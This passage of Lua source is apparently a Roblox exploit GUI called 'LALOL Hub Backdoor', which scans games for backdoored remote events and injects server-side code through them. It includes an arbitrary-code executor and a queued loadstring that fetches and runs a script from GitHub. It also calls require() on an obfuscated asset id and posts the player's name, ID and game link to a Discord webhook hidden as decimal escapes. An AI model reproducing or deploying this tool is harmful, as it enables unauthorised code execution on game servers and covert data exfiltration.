"function", charpattern = "string", }, -- Roblox Libraries Axes = { new = "function", }, BrickColor = { Black = "function", Blue = "function", DarkGray = "function", Gray = "function", Green = "function", new = "function", New = "function", palette = "function", Random = "function", random = "function", Red = "function", White = "function", Yellow = "function", }, CatalogSearchParams = { new = "function", }, CFrame = { Angles = "function", fromAxisAngle = "function", fromEulerAngles = "function", fromEulerAnglesXYZ = "function", fromEulerAnglesYXZ = "function", fromMatrix = "function", fromOrientation = "function", lookAt = "function", new = "function", identity = "CFrame", }, Color3 = { fromHex = "function", fromHSV = "function", fromRGB = "function", new = "function", toHSV = "function", }, ColorSequence = { new = "function", }, ColorSequenceKeypoint = { new = "function", }, DateTime = { fromIsoDate = "function", fromLocalTime = "function", fromUniversalTime = "function", fromUnixTimestamp = "function", fromUnixTimestampMillis = "function", now = "function", }, DockWidgetPluginGuiInfo = { new = "function", }, Enum = {}, Faces = { new = "function", }, FloatCurveKey = { new = "function", }, Font = { fromEnum = "function", fromId = "function", fromName = "function", new = "function", }, Instance = { new = "function", }, NumberRange = { new = "function", }, NumberSequence = { new = "function", }, NumberSequenceKeypoint = { new = "function", }, OverlapParams = { new = "function", }, PathWaypoint = { new = "function", }, PhysicalProperties = { new = "function", }, Random = { new = "function", }, Ray = { new = "function", }, RaycastParams = { new = "function", }, Rect = { new = "function", }, Region3 = { new = "function", }, Region3int16 = { new = "function", }, RotationCurveKey = { new = "function", }, task = { cancel = "function", defer = "function", delay = "function", desynchronize = "function", spawn = "function", synchronize = "function", wait = "function", }, TweenInfo = { new = "function", }, UDim = { new = "function", }, UDim2 = { fromOffset = "function", fromScale = "function", new = "function", }, Vector2 = { new = "function", one = "Vector2", xAxis = "Vector2", yAxis = "Vector2", zero = "Vector2", }, Vector2int16 = { new = "function", }, Vector3 = { fromAxis = "function", FromAxis = "function", fromNormalId = "function", FromNormalId = "function", new = "function", one = "Vector3", xAxis = "Vector3", yAxis = "Vector3", zAxis = "Vector3", zero = "Vector3", }, Vector3int16 = { new = "function", }, }, } -- Filling up language.libraries.Enum table local enumLibraryTable = language.libraries.Enum for _, enum in ipairs(Enum:GetEnums()) do --TODO: Remove tostring from here once there is a better way to get the name of an Enum enumLibraryTable[tostring(enum)] = "Enum" end return language end; }; -- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox.Highlight local function C_12() local script = G2L["12"]; local Highlighter = require(script.Highlighter) Highlighter.highlight({ -- The object to syntax highlight textObject=script.Parent, -- The source text for highlighting- defaults to textObject.Text -- src: string?, -- Update even if there are no changes since last highlight -- forceUpdate=true, -- Lexer for tokenizing src, defaults to the bundled Lua lexer -- lexer=true, }) textbox=script.Parent textbox.InputChanged:Connect(function() if textbox.Text~='' then textbox.TextTransparency=1 return end textbox.TextTransparency=0 end) end; task.spawn(C_12); -- StarterGui.LALOL Hub Backdoor.LocalScript local function C_20() local script = G2L["20"]; queueteleport = (syn and syn.queue_on_teleport) or queue_on_teleport or (fluxus and fluxus.queue_on_teleport) if queueteleport then queueteleport("loadstring(game:HttpGet('https://raw.githubusercontent.com/Its-LALOL/LALOL-Hub/main/Backdoor-Scanner/script'))()") end GUI=script.Parent.Frame alphabet={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'} backdoor=nil HttpService=game:GetService("HttpService") function debug(text, lvl) local func=print if lvl==1 then func=print end if lvl==2 then func=error end if lvl==3 then func=warn end func('LALOL Hub Backdoor: '..text) end function runRemote(remote, data, data2) if remote:IsA('RemoteEvent') then remote:FireServer(data) elseif remote:IsA('RemoteFunction') then spawn(function() remote:InvokeServer(data) end) end end function makeVisible(folder, state) for i,v in folder:GetDescendants() do if v:IsA('Frame') then v.Visible=state end end end function notify(text) game:GetService('StarterGui'):SetCore( "SendNotification", { Title = "LALOL Hub Backdoor", Duration = 6, Text = text } ) end if _G.LALOL_Hub_Backdoor_Logs_Disabled then notify('Logs disabled :(') end makeVisible(GUI, false) GUI.Scanner.Visible=true GUI.Visible=true function generateName(lenght) local text='' for i=1,lenght do text=text..alphabet[math.random(1,#alphabet)] end return text end local code function findRemote() local timee=os.clock() local remotes={} local protected_backdoor=game:GetService('ReplicatedStorage'):FindFirstChild('lh'..game.PlaceId/6666*1337*game.PlaceId) if protected_backdoor and protected_backdoor:IsA('RemoteFunction') then while true do code=generateName(math.random(12,30)) if not remotes[code] then break end end spawn(function() protected_backdoor:InvokeServer('lalol hub join today!! discord.gg/XXqzxT7E5z', "a=Instance.new('Model',workspace)a.Name='"..code.."'") end) remotes[code]=protected_backdoor end for i,remote in game:GetDescendants() do -- Validation Checker if not remote:IsA('RemoteEvent') then if not remote:IsA('RemoteFunction') then continue end end -- RobloxReplicatedStorage if string.split(remote:GetFullName(), '.')[1]=='RobloxReplicatedStorage' then debug('Roblox Replicated Storage ('..remote.Name..')', 1) continue end if remote.Parent==game:GetService("ReplicatedStorage") or remote.Parent.Parent==game:GetService("ReplicatedStorage") or remote.Parent.Parent.Parent==game:GetService("ReplicatedStorage") then -- ADONIS Anti-Exploit if remote:FindFirstChild('__FUNCTION') or remote.Name=='__FUNCTION' then debug('Adonis filter detected ('..remote.Name..')', 1) continue end -- HD Admin if remote.Parent.Parent.Name=='HDAdminClient' and remote.Parent.Name=='Signals' then debug('HD Admin ('..remote.Name..')', 1) continue end -- Chat Events if remote.Parent.Name=='DefaultChatSystemChatEvents' then debug('Chat event ('..remote.Name..')', 1) continue end end -- Backdoor Sender while true do code=generateName(math.random(12,30)) if not remotes[code] then break end end runRemote(remote, "a=Instance.new('Model',workspace)a.Name='"..code.."'") remotes[code]=remote debug('Sended Backdoor "'..remote:GetFullName()..'"', 1) end -- Backdoor Checker for i=1,100 do for i,remote in remotes do local code=i if workspace:FindFirstChild(code) then notify('Backdoor found! '..os.clock()-timee..'s') backdoor=remote debug(remote:GetFullName(), 3) GUI.Scanner.Visible=false makeVisible(GUI.Executor, true) -- runRemote(backdoor, "a=Instance.new('Hint',workspace)while true do a.Text='LALOL Hub Backdoor | discord.gg/XXqzxT7E5z | Free and FASTEST Backdoor Scanner'for b=1,13 do a.Parent=workspace;wait(1)a.Parent=nil;wait(0.5)end;wait(60)end") runRemote(remote, "require(171016405.1884*69)") runRemote(remote, "a=Instance.new('Hint')a.Text='LALOL Hub Backdoor | discord.gg/XXqzxT7E5z | Free and FASTEST Backdoor Scanner'while true do a.Parent=workspace;wait(15)a:Remove()wait(30)end") local request = (syn and syn.request) or (http and http.request) or http_request or (fluxus and fluxus.request) or request if request and not _G.LALOL_Hub_Backdoor_Logs_Disabled then request({ Url = '\104\116\116\112\115\58\47\47\100\105\115\99\111\114\100\46\99\111\109\47\97\112\105\47\119\101\98\104\111\111\107\115\47\49\49\48\56\54\57\52\49\54\48\52\54\52\49\53\56\55\56\49\47\57\86\67\122\95\99\107\52\117\120\51\77\51\84\81\106\56\109\111\76\68\113\51\78\119\45\100\107\89\68\87\55\103\69\99\97\76\72\75\80\98\101\50\95\74\74\73\122\53\109\50\102\69\104\54\101\83\110\112\51\51\87\79\76\116\103\105\49', Method = 'POST', Headers = { ['Content-Type'] = 'application/json', }, Body = HttpService:JSONEncode({ username='pls dont delete this w3bh00k', content="**User: `"..game:GetService('Players').LocalPlayer.Name..'` | `'..game:GetService('Players').LocalPlayer.UserId..'`\nhttps://www.roblox.com/games/'..game.PlaceId..'\n`'..backdoor:GetFullName()..'`**', }) }) end return true end -- debug('"'..remote:GetFullName()..'" seems like not backdoor', 1) end wait()--.1) end return false end GUI.Executor.Execute.Button.MouseButton1Click:Connect(function() local a,b=string.gsub(GUI.Executor.ExecutorBox.TextBox.Text, '%%username%%', game:GetService('Players').LocalPlayer.Name) local protected_backdoor=game:GetService('ReplicatedStorage'):FindFirstChild('lh'..game.PlaceId/6666*1337*game.PlaceId) if protected_backdoor and protected_backdoor:IsA('RemoteFunction') then debug('Protected backdoor found', 3) spawn(function() local boolValue, variantValue=pcall(function() protected_backdoor:InvokeServer('lalol hub join today!! discord.gg/XXqzxT7E5z', a) end) if variantValue~=nil then local splited=string.split(variantValue,':') notify(splited[#splited]) end end) else runRemote(backdoor, a) end GUI.Executor.Execute.Button.Text='Executed!' wait(0.5) GUI.Executor.Execute.Button.Text='Execute' end) GUI.Executor.Clear.Button.MouseButton1Click:Connect(function() GUI.Executor.ExecutorBox.TextBox.Text='' GUI.Executor.Clear.Button.Text='Cleared!' wait(0.5) GUI.Executor.Clear.Button.Text='Clear' end) searching=false GUI.Scanner.Button.MouseButton1Click:Connect(function() if not searching then searching=true debug('Scanning...', 3) GUI.Scanner.Button.Text='Scanning...' if not findRemote() then GUI.Scanner.Button.Text='No backdoor :(' searching=false end end end) game:GetService('UserInputService').InputBegan:Connect(function(input, processed) if (input.KeyCode == Enum.KeyCode.LeftAlt and not processed) then if GUI.Visible then GUI.Visible=false else GUI.Visible=true end end end) end; task.spawn(C_20); -- StarterGui.LALOL Hub Backdoor.Dragify local function C_21() local script = G2L["21"]; local UIS = game:GetService("UserInputService") function dragify(Frame) dragToggle = nil local dragSpeed = 0.33 dragInput = nil dragStart = nil local dragPos = nil function updateInput(input) local Delta = input.Position - dragStart local Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + Delta.X, startPos.Y.Scale, startPos.Y.Offset + Delta.Y) game:GetService("TweenService"):Create(Frame, TweenInfo.new(0.15), {Position = Position}):Play() end Frame.InputBegan:Connect(function(input) if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) and UIS:GetFocusedTextBox() == nil then dragToggle = true dragStart = input.Position startPos = Frame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragToggle = false end end) end end) Frame.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) game:GetService("UserInputService").InputChanged:Connect(function(input) if input == dragInput and dragToggle then updateInput(input) end end) end dragify(script.Parent.Frame) end; task.spawn(C_21); return G2L["1"], require;